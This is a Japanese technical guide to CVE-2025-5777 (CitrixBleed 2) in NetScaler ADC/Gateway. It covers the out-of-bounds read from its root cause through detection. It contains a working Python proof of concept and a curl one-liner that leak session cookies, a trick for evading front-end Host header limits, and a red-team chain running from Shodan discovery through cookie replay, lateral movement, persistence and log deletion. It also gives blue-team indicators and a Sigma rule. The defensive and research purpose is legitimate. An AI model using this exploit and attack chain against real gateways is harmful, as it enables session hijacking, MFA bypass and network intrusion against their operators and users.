
CitrixBleed 2 — CVE-2025-5777(境界外読み取り漏洩)のPoCと検出ツールキットの詳細解説
NetScaler ADC / Gateway における Out-of-Bounds Memory Read — 原因から攻防演習までの全景マニュアル
0x00 はじめに / 概要
0x01 背景:NetScaler アーキテクチャと CitrixBleed 1 の振り返り
0x02 脆弱性の説明(影響バージョン、CVSS、悪用結果)
0x03 トリガー機構の詳細(ソースコード分析 & デバッグスクリーンショット)
0x04 最小 PoC + 高度なスキャンスクリプト
0x05 レッドチーム視点:完全な攻撃チェーン(発見 → 漏洩 → セッションハイジャック → 内部ネットワーク横断)
0x06 ブルーチーム視点:検出、フォレンジック、パッチ検証
0x07 防御の強化:パッチ、WAF、設定、資産管理
0x08 学習 / 復習ロードマップと実戦演習
付録 A Sigma / Suricata / Nginx-Lua ルール
付録 B パッチ/エクスプロイトのタイムライン & IoC スナップショット
参考文献
Host ヘッダーを含む GET リクエストを送信するだけで、ランダムなメモリブロックを HTTP レスポンスと一緒にクライアントに「吹き出し」させることができます。NSC_USER / NSC_TASS Cookie、SAML StateContext、MFA トークン などの重要な情報が含まれており、そのまま再利用してセッションの乗っ取りや MFA バイパスが可能です ([arcticwolf.com][1], [tenable.com][2])。┌──────────────┐
│ Client │ ① HTTPS
└──────┬───────┘
│
┌──────▼───────┐
│ NetScaler │ ② AAA / Gateway 認証
│ (WebProc) │
└──────┬───────┘
│
┌──────▼───────┐
│ ICA Proxy / │ ③ アプリケーションへの転送
│ CVPN / RDP │
└──────────────┘
NetScaler は マルチプロセス + 内部 IPC の設計を採用。WebProc は AAA / Gateway パス下のほとんどの HTTP リクエスト(/nf/auth/*、/oauth/* など)を処理します。C 言語 で記述されており、snprintf() / memcpy() を多用して XML/HTML フラグメントを組み立てます。
/oauth/idp/.well-known/openid-configuration で発生しました。snprintf の戻り値を後続の send() の len パラメータとして使用 → メモリの範囲外読み出し。教訓: セキュリティパッチが「問題箇所」だけでなく「プログラミングパラダイム」を対象にしていなければ、「テンプレート化された再現」の余地が残ります。
| フィールド | 内容 |
|---|---|
| CVE | CVE-2025-5777 |
| 別名 | CitrixBleed 2 |
| 脆弱性タイプ | Out-of-Bounds Read / 情報漏洩 |
| CVSS v4 Base | 9.3 (Crit.) ([netscaler.com][3]) |
| 影響バージョン | < 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS ([netscaler.com][3]) |
| 悪用条件 | NetScaler が Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) または AAA 仮想サーバーとして設定されている ([arcticwolf.com][1]) |
| 悪用結果 | メモリ漏洩 → セッショントークン → 認証回避 / MFA バイパス → 横断 |
本節は 13.1-55.18 ファームウェアの逆コンパイル + gdb デバッグ、および公開ブログに基づいてまとめられています ([bishopfox.com][5])。
/nf/auth/startwebview.doHost ヘッダー<AuthenticateResponse>
<wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
...
</AuthenticateResponse>
citrix_webview_handler()
├─ build_auth_xml()
│ ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
│ └─ return length; // ⚠️ length が 0x1800 を超える可能性あり
└─ ns_vpn_send_response(conn, 0x980200, buf, length);
バグ箇所:
snprintfは「実際に書き込まれた長さ」ではなく「本来書き込まれるべき長さ」を返します。ユーザが入力したHostが 0x1800 - 定数部分の長さより大きい場合、length>sizeof(buf)となります。
buf: [-----XML-----][OOB][OOB][OOB]...... <- 0x1800 bytes limit
↑
ns_vpn_send_response によって一緒に送信される
GDB ブレークポイントのデモ(主要レジスタ):
RDI (dst) = 0x7fffa2e31800 // buf
RSI (len) = 0x00001e42 // length=7746 (>6144)
read() の結果、後半 1,600 バイトは未初期化メモリから来ており、他の SSL セッションの Cookie バッファが見えることが確認されました。
| 分類 | サンプル断片(匿名化済み) |
|---|---|
| Session Cookie | Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123... |
| MFA/OTP Token | radius_state=0e2a9c6d1553... |
| その他のリクエスト本文 | <username>audituser</username><password>***</password> |
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()
if len(sys.argv) != 2:
exit(f"Usage: {sys.argv[0]} https://NSVIP")
url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000} # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)
print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print(" Cookie leak ->", h.decode())
open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
leak.bin から Cookie=、<AuthenticateContext> などのキーワードを検索。curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
https://NSVIP/nf/auth/startwebview.do -o leak.bin
バイパス方法:一部のデバイスでは前置の F5 / Nginx で
Hostの長さ制限が行われている場合があります。その場合は、複数サブドメインを連結してバイパスできます。例:foo.foo.foo.…foo.example.com(fooを 3000 回繰り返す)。
| ステップ | 目的 & テクニック |
|---|---|
| ① 資産発見 | zoomeye search "http.title:\"NetScaler Gateway\"" + Shodan など;set-cookie: NSC_ でフィルタ |
| ② POC 漏洩 | バッチスクリプトで並行リクエスト;NSC_USER= ; NSC_TASS= を取得 |
| ③ Cookie 再生 | Chrome DevTools→Application→Cookies→エントリ追加、/vpn/index.html をリフレッシュ |
| ④ 内部リソース | storeweb/#home にアクセスして RDP ファイルを取得;.ica をダウンロードして VDI に直接ログイン |
| ⑤ 権限昇格 | 内部クレデンシャルスプレー、Kerberoast、ADCS ESC1;または同一セグメントの弱い SMB パスワードを利用 |
| ⑥ 永続化 | Scheduled Task を作成;自動起動スクリプトを登録;または NetScaler vDisk を変更(高権限が必要で運用上の過失が必要) |
| ⑦ 痕跡削除 | Cookie は使い捨て;監査ログを削除(NS root 権限を取得した場合);または logrotate のレースコンディションを利用して上書き |
実際の事例:ReliaQuest は顧客のゲートウェイで「短時間に大量の 6 KB+ Host ヘッダーリクエスト → 直後にセッションが乗っ取られる」現象を観測 ([reliaquest.com][4])。
| ソース | 兆候 |
|---|---|
| /var/log/ns.log | AAA_TRANSACTION <client_ip> - Host header length: 6144 |
| HTTP_ACCESS.log | /nf/auth/startwebview.do へのリクエストの処理時間が極端に短いが応答サイズが異常(> 2 KB) |
| EDR/PCAP | ログインリクエストではないレスポンスに Set-Cookie: NSC_USER= が出現 |
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
category: webserver
product: netscaler
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
cs-bytes|gt: 2048
c-host|strlen|gt: 4096
condition: selection
level: critical